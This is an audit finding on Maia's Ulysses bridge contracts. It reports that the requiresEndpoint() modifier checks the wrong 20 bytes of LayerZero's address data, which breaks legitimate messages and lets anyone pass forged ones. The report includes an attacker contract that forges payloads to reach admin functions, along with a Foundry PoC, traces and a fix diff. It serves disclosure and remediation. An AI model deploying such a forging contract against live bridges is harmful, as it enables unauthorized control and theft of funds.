# Result => Medium with Duplicates

# Medium Severity

## Title
Incorrectly decoding the source address that called the LayerZero endpoint in the requiresEndpoint() modifer on the BridgeAgent contracts, instead of reading the bytes of the `srcAddr`, the current offset is actually reading the bytes of the `destAddr`

## Impact
- The impact of reading the `destAddr` instead of the `srcAddr` in the [requiresEndpoint() modifier](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1204-L1217) can be categorized in two big problems:
    1. BridgeAgents (both, Branch and Root) won't be able to process the calls that are sent from their counterparties in the different branches/chains
    2. Attackers can gain direct access to the BridgeAgent::lzReceive() by calling the LayerZero endpoint using a Fake Contract and sending any arbitrary data at will.

## Proof of Concept
Before explaining each of the two problems mentioned in the previous sections, first, let's understand how and why the issue occurs in the first place.

- The Branch contracts are meant to be deployed on different chains, and the Root contracts are meant to be deployed on Arbitrum (Arbitrum is also a Branch chain at the same time)
- Most of the interactions with the protocol must go through the Root branch, even though the interaction was started in Mainnet or Optimism, the execution flow needs to go through the Root contracts to update the virtual balances and reflect the changes in the state of the Root Branch.
    - To achieve crosschain communication, the contracts are using the LayerZero crosschain message protocol, which in a few words works like this: 
        - Branch contracts receives an user request, the branch contracts prepares the calldata that will be sent to the Root branch (Deployed in Arbitrum), the BranchBridgeAgent will call the [`send()` function of the `LayerZeroEndpoint` contract](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L92-L96) that is deployed in the same chain, the `LayerZero` protocol will receive the call, validate it and will run the [`lzReceive()` of the `RootBranchBridge`](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L423-L431) contract (deployed in Arbitrum), then, the `lzReceive()` calls the [`lzReceiveNonBlocking()`](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L434-L737) in the same contract, and prior to execute anything there is the [`requiresEndpoint()` modifier](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1204-L1217) that is in charge of validating that the caller is either the LayerZeroEndpoint contract or the BranchBridgeAgent that is deployed on Arbitrum, if the caller is not the BranchBridgeAgent and it's the LayerZeroEndpoint, then it proceeds to validate that the address that actually sent the message to LayerZero (from the `srcAddress`) is the BranchBridgeAgent contract of the SourceChain, and if that check passes, then the modifier will allow the `lzReceiveNonBlocking()` to be executed, otherwise, the tx will be reverted.

    - Apparently, everything is fine, but, **there is a problem, a very well-hidden problem**, the address that is used to validate if the caller that sent the message to LayerZero is extracted from the last 20 bytes of the `_srcAddress` parameter, and the first 20 bytes are ignored. 
        - To understand why reading the last 20 bytes instead of the first 20 bytes it's a problem, it is required to take a look at how LayerZero encodes that data, that's why we are gonna take a look at the contracts of the LayerZero.
            - The execution flow in the LayerZero contracts look like this: [`Endpoint::send()`](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L92-L96) => [`UltraLightNodeV2::send()`](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L116-L161) => [`UltraLightNodeV2::validateTransactionProof()`](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L76-L114) => [`Endpoint::receivePayload()`](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L99-L125) => `ILayerZeroReceiver(_dstAddress).lzReceive()`
            - As for this report we are mostly interested in the interaction from the `UltraLightNodeV2::validateTransactionProof()` => `Endpoint::receivePayload()` => `ILayerZeroReceiver(_dstAddress).lzReceive()`
                - By looking at the `UltraLightNodeV2::validateTransactionProof()` function we can see that **the `srcAddress` (The one that called the Endpoint) is encoded in the first 20 bytes of the pathData, and the `dstAddress` (The contract that will receive the message) is encoded in the last 20 bytes**.
```solidity
    function validateTransactionProof(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32 _blockData, bytes calldata _transactionProof) external override {
        ...

        //@audit-info => pathData will be sent to `endpoint:receivePayload` and there will be received as the _srcAddress, and that exact same value is forwarded to the DestinationContract::lzReceive()
        bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress);
        emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress, _packet.nonce, keccak256(_packet.payload));
        endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);
    }
```

```solidity
    function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
       ...

        //@audit-info => In the `Endpoint::receivePayload()`, the pathData from the `UltraLightNodeV2::validateTransactionProof()` is received as the _srcAddress parameter, which is then forwarded as it is to the `DestinationContract.lzReceive()`
        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
           ...
        }
    }
```

- In the case of the contracts for the Ulysses system, the DestinationContract in the LayerZero will be a BridgeAgent, this means that the value of the `_srcAddress` parameter that is received in the BridgeAgent::lzReceive() will be encoded exactly how the [`UltraLightNodeV2::validateTransactionProof()`](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L76-L114) encoded it, **the first 20 bytes containing the `srcAddress` (The one that called the Endpoint), and the last 20 bytes the `dstAddress` (The contract that will receive the message)**

    - So, when the `BridgeAgent::lzReceive()` function receives the call from LayerZero and it calls the `lzReceiveNonBlocking()` it will call the modifier `requiresEndpoint()` to validate that the caller is the LayerZeroEndpoint or the LocalBranchBridgeAgent, and if the LayerZeroEndpoint is the caller, it must validate that the address that sent the message is, in reality, the BranchBridgeAgent of the SourceChain.
        - [`RootBridgeAgent::lzReceive()`](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L423-L431) => [`RootBridgeAgent::lzReceiveNonBlocking()`](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L434-L737) => [`RootBridgeAgent::requiresEndpoint()`](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1204-L1217)

```solidity
function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
    (bool success,) = address(this).excessivelySafeCall(
        gasleft(),
        150,
        //@audit-info => lzReceive() forwards the _srcAddress parameter as it is received from the LayerZeroEndpoint
        //@audit-info => As shown before, the UltraLightNodeV2 library encodes in the first 20 bytes the srcAddress and in the last 20 bytes the destinationAddress
        abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
    );

    if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
}

```solidity
function lzReceiveNonBlocking(
        //@audit-info => The _endpoint is the msg.sender of the lzReceive()
        address _endpoint,
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        bytes calldata _payload
        //@audit-info => _endpoint can only be the LocalBranchBridgeAgent or the LayerZero Endpoint!
        //@audit-info => _srcAddress is encoded exactly as how the UltraLightNodeV2 library encoded it
            //@audit-info => in the first 20 bytes the srcAddress and in the last 20 bytes the destinationAddress
    ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress) {
        ...
    }
```


- As we can see, the [`requiresEndpoint()` modifier](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1204-L1217) reads from the _srcAddress parameter, **the offset being read is from the `PARAMS_ADDRESS_SIZE`, which its value is 20, to the last byte, that means, the offset being read is from the byte 20 to the byte 40, that means, it is reading the bytes corresponding to the DestinationAddress, instead of the reading the bytes corresponding to the SourceAddress** 

```solidity
modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
    if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();

    //@audit-info => _endpoint can be the LocalBranchBridgeAgent (The BranchBridgeAgent deployed in Arbitrum!)
    if (_endpoint != getBranchBridgeAgent[localChainId]) {
        //@audit-info => If _endpoint is not the LocalBranchBridgeAgent, it can only be the LayerZero Endpoint!
        if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();

        if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();

        //@audit-info => Checks if the `_srcAddres` is the BranchBridgeAgent of the sourceChain!
        if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
            revert LayerZeroUnauthorizedCaller();
        }
    }
    _;
}
```

- At this point we've already covered why the problem exists in the first place, to summarize all of the above, **the problem is that the `requiresEndpoint()` in the BridgeAgent contracts is reading an incorrect offset to validate if the caller of the message that was sent to the LayerZero is a valid BranchBridgeAgent, instead of reading the offset corresponding to the srcAddress (The caller) [The first 20 bytes], it is reading the offset corresponding to the dstAddress (The destination) [The last 20 bytes]**

- Now, it is time to explain how this problem/bug/vulnerability can cause problems to the protocol, as I mentioned in the beginning, this problem can cause two major problems:
1. BridgeAgents (both, Branch and Root) won't be able to process the calls that are sent from their counterparties in the different branches/chains:
    - The BridgeAgents won't be able to process the calls because of the condition in the `requiresEndpoint()` modifier that validates if the srcAddress (The Caller) who sent the message to the LayerZero is the BridgeAgent of the Source Chain, the bytes that are being read corresponds to the Destination, instead of the Source, that means, the address that will be used to validate the caller it will be the address of the Destination Contract (This address is really the same address of the contract where the check is being executed), instead of the address of the actual caller, this will cause the tx to be reverted and never executed (To demonstrate this first point I coded a PoC)
```solidity
modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
        ...
        ...
            ...
            //@audit-info => Check if the `_srcAddres` is the BranchBridgeAgent of the sourceChain!
            //@audit-info => Currently is reading the last 20 bytes, those bytes corresponds to the Destination Address of the message, which is the address of the contract where the execution is currently running.
            //@audit-info => requiresEndpoint() compares if the sourceAddress is different than the BranchBridgeAgent of the Source Chain, and because the address being read is the Destination instead of the Source, this check will always revert for calls between BridgeAgents!
            if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
                revert LayerZeroUnauthorizedCaller();
            }
        ...
    ...
}
```


2. Attackers can gain direct access to the BridgeAgent::lzReceive() by calling the LayerZero endpoint using a Fake Contract and sending any arbitrary data at will.
    - Same logic as in Point 1, but this time an attacker can exploit the vulnerability that the only check to verify the authenticity of the caller of the LayerZeroEndpoint is wrong, the modifier is currently ignoring who was the caller of the message that is received from the LayerZeroEndpoint, this opens the doors for attacker to create Malicious contracts to send arbitrary data through a message call using the LayerZeroEndpoint and gain access to all the functionalities of the `lzReceiveNonBlocking()` function.
        - For this scenario, I was unable to code a PoC because it would've been necessary to modify all the setUp of the testing suite
        - An idea of a Malicious Contract could be something like this one, it is preparing the calldata as the BridgeAgent expects, but this allows to set all the values at will, and this also gives access to Admin functionalities to the attackers
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol";

import {
    GasParams
} from "./interfaces/IRootBridgeAgent.sol";

interface ICoreRootRouter {
  function bridgeAgentAddress() external view returns (address);
}

interface IBridgeAgent {
  function getBranchBridgeAgentPath(uint256 chainId) external view returns (bytes memory);
  function lzEndpointAddress() external view returns (address);
}

contract MaliciousContract {

  uint32 settlementNonce = 1;
  bytes destinationPath;
  address lzEndpointAddress;

  function setDestinationPath(address CoreRootRouter, uint256 dstChainId) public {
    address bridgeAgentAddress = ICoreRootRouter(CoreRootRouter).bridgeAgentAddress();
    destinationPath = IBridgeAgent(bridgeAgentAddress).getBranchBridgeAgentPath(dstChainId);
    lzEndpointAddress = IBridgeAgent(bridgeAgentAddress).lzEndpointAddress();
  }

  function hijackedPortStrategy(
    address _portStrategy,
    address _underlyingToken,
    uint256 _dailyManagementLimit,
    bool _isUpdateDailyLimit,
    address _refundee,
    uint16 _dstChainId,
    GasParams calldata _gParams,
    address CoreRootRouter
  ) external payable {
    // Encode CallData
    bytes memory params = abi.encode(_portStrategy, _underlyingToken, _dailyManagementLimit, _isUpdateDailyLimit);

    // Pack funcId into data
    bytes memory _payload = abi.encodePacked(bytes1(0x06), params);

    //Encode Data for call.
    bytes memory payload = abi.encodePacked(bytes1(0x00), _refundee, settlementNonce++, _payload);

    setDestinationPath(CoreRootRouter, _dstChainId);

    _performCall(_dstChainId, payable(_refundee), payload, _gParams, lzEndpointAddress);
  }

  function _performCall(
    uint16 _dstChainId,
    address payable _refundee,
    bytes memory _payload,
    GasParams calldata _gParams,
    address lzEndpointAddress
  ) internal {

    ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
        _dstChainId,
        // getBranchBridgeAgentPath[_dstChainId],
        destinationPath,
        _payload,
        _refundee,
        address(0),
        // abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, callee)
        abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, destinationPath)
    );

  }

}
```


### Coded a Poc
- To reproduce the PoC for the first scenario is necessary to make a couple of changes, the first change needs to be done in the [`LzForkTest.t.sol`](https://github.com/code-423n4/2023-09-maia/blob/main/test/test-utils/fork/LzForkTest.t.sol) test file, it's required to update the order in which the [`executePacket()` function](https://github.com/code-423n4/2023-09-maia/blob/main/test/test-utils/fork/LzForkTest.t.sol#L440-L472) orders the srcAddress and destAddress, [line 466](https://github.com/code-423n4/2023-09-maia/blob/main/test/test-utils/fork/LzForkTest.t.sol#L466).
```solidity
    function executePacket(Packet memory packet) public {
        ...
        ILayerZeroEndpoint(receivingEndpoint).receivePayload(
            packet.originLzChainId,
-           // abi.encodePacked(packet.destinationUA, packet.originUA), //original, wrong => encoding destAddress in the first 20 bytes and srcAddr in the last 20 bytes (Inversed order as per the UltraLightNodeV2 library)
+           abi.encodePacked(packet.originUA, packet.destinationUA), //fixed, correct => Encoding srcAddr in the first 20 bytes and destAddr in the last 20 bytes, (Exact order as per the UltraLightNodeV2 library)
            packet.destinationUA,
            packet.nonce,
            gasLimit,
            packet.payload
        );
    }
```

- Now, we can use the [`RootForkTest.t.sol`](https://github.com/code-423n4/2023-09-maia/blob/main/test/ulysses-omnichain/RootForkTest.t.sol) test file to add the below test:
```solidity
function testWrongDecodingPoC() public {
    // Add strategy token
    testAddStrategyToken();

    // Deploy Mock Strategy
    switchToLzChainWithoutExecutePendingOrPacketUpdate(ftmChainId);
    mockFtmPortStrategyAddress = address(new MockPortStartegy());
    switchToLzChainWithoutExecutePendingOrPacketUpdate(rootChainId);

    // Get some gas
    vm.deal(address(this), 1 ether);

    coreRootRouter.managePortStrategy{value: 1 ether}(
        mockFtmPortStrategyAddress,
        address(mockFtmPortToken),
        250 ether,
        false,
        address(this),
        ftmChainId,
        GasParams(300_000, 0)
    );

    // Switch Chain and Execute Incoming Packets
    switchToLzChain(ftmChainId);

    require(ftmPort.isPortStrategy(mockFtmPortStrategyAddress, address(mockFtmPortToken)), "Should be added");

    // Switch Chain and Execute Incoming Packets
    switchToLzChainWithoutExecutePendingOrPacketUpdate(rootChainId);
}
```

- Run the test with the following command (At this point don't make any other changes to the rest of the files, this first test is expected to fail because the requiresEndpoint() will revert the tx due to the problem described on this report, after running this test we will apply the fix to the requiresEndpoint() modifier and we'll re-run the test to verify that everything is working as expected!)
> forge test --mc RootForkTest --match-test testWrongDecodingPoC -vvvv

    - Expected output after running the first test:
```
03], 0x), ([0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0, 0x000000000000000000000000bb2180ebd78ce97360503434ed37fcf4a1df61c3, 0x0000000000000000000000000000000000000000000000000000000000000000], 0x)]
    ├─ [0] console::log(Events caugth:, 5) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::resumeGasMetering()
    │   └─ ← ()
    ├─ [501] BranchPort::bridgeAgents(1) [staticcall]
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.13s

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ulysses-omnichain/RootForkTest.t.sol:RootForkTest
[FAIL. Reason: Setup failed: EvmError: Revert] setUp() (gas: 0)

Encountered a total of 1 failing tests, 0 tests succeeded
```

- Now, let's apply the fix to the requiresEndpoint(), instead of reading the last 20 bytes, let's update it so that it correctly reads the first 20 bytes (The offset where srcAddress is encoded as per the UltraLightNodeV2 library)
    - Make sure to **apply this fix to the RootBridgeAgent and the BranchBridgeAgent contracts**
```solidity
modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
    ...


            //@audit-info => The correct offset of the srcAddr is in the first 20 bytes!
-           // if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
+           if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[0 : PARAMS_ADDRESS_SIZE])))) {
    
    ...
```

- After applying the changes to the requiresEndpoint() modifier, re-run the test using the same command and check the output to verify that everything is working as expected
```
    ├─ [128424] 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7::receivePayload(110, 0xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddbc0f80caed4effc308ba50a20e86e3, BranchBridgeAgent: [0x2Aa5aE54DdbC0F80caED4efFC308ba50A20E86e3], 3, 300000 [3e5], 0x00bb2180ebd78ce97360503434ed37fcf4a1df61c30000000506000000000000000000000000a4c93df56036aa1a74a40ccd353438fa5eed86380000000000000000000000006dae6e4368ce05b6d6ad22876d3372ab5428686400000000000000000000000000000000000000000000000d8d726b7177a800000000000000000000000000000000000000000000000000000000000000000000)
    │   ├─ [125185] BranchBridgeAgent::lzReceive(110, 0xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddbc0f80caed4effc308ba50a20e86e3, 3, 0x00bb2180ebd78ce97360503434ed37fcf4a1df61c30000000506000000000000000000000000a4c93df56036aa1a74a40ccd353438fa5eed86380000000000000000000000006dae6e4368ce05b6d6ad22876d3372ab5428686400000000000000000000000000000000000000000000000d8d726b7177a800000000000000000000000000000000000000000000000000000000000000000000)
    │   │   ├─ [123206] BranchBridgeAgent::lzReceiveNonBlocking(0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7, 0xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddbc0f80caed4effc308ba50a20e86e3, 0x00bb2180ebd78ce97360503434ed37fcf4a1df61c30000000506000000000000000000000000a4c93df56036aa1a74a40ccd353438fa5eed86380000000000000000000000006dae6e4368ce05b6d6ad22876d3372ab5428686400000000000000000000000000000000000000000000000d8d726b7177a800000000000000000000000000000000000000000000000000000000000000000000)
    │   │   │   ├─ [96551] BranchBridgeAgentExecutor::executeNoSettlement(CoreBranchRouter: [0x315023AA8fd423494967Fe294D05BD4B01169A6e], 0x00bb2180ebd78ce97360503434ed37fcf4a1df61c30000000506000000000000000000000000a4c93df56036aa1a74a40ccd353438fa5eed86380000000000000000000000006dae6e4368ce05b6d6ad22876d3372ab5428686400000000000000000000000000000000000000000000000d8d726b7177a800000000000000000000000000000000000000000000000000000000000000000000)
    │   │   │   │   ├─ [95108] CoreBranchRouter::executeNoSettlement(0x06000000000000000000000000a4c93df56036aa1a74a40ccd353438fa5eed86380000000000000000000000006dae6e4368ce05b6d6ad22876d3372ab5428686400000000000000000000000000000000000000000000000d8d726b7177a800000000000000000000000000000000000000000000000000000000000000000000)
    │   │   │   │   │   ├─ [2795] BranchPort::isPortStrategy(MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638], MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864]) [staticcall]
    │   │   │   │   │   │   └─ ← false
    │   │   │   │   │   ├─ [89529] BranchPort::addPortStrategy(MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638], MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864], 250000000000000000000 [2.5e20])
    │   │   │   │   │   │   ├─ emit PortStrategyAdded(_portStrategy: MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638], _token: MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864], _dailyManagementLimit: 250000000000000000000 [2.5e20])
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit LogExecute(nonce: 5)
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [795] BranchPort::isPortStrategy(MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638], MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864]) [staticcall]
    │   └─ ← true
    ├─ [0] VM::selectFork(1)
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.50s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


## Tools Used
Manual Audit & [LayerZeroEndpoint Message Library](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol)

## Recommended Mitigation Steps
- The recommendation is to update the offset that is read from the _srcAddress parameter in the `requiresEndpoint()` modifier for the [RootBridgeAgent](https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1212) and the [BranchBridgeAgent](https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L943) contracts, instead of reading the last 20 bytes, **make sure to read the first 20 bytes**, ***in this way, the contracts will be able to decode the data correctly as how it is sent from the LayerZeroEndpoint.***
```solidity
modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
    ...

            //@audit-info => The correct offset of the srcAddr is in the first 20 bytes!
-           // if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
+           if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[0 : PARAMS_ADDRESS_SIZE])))) {
    
    ...
```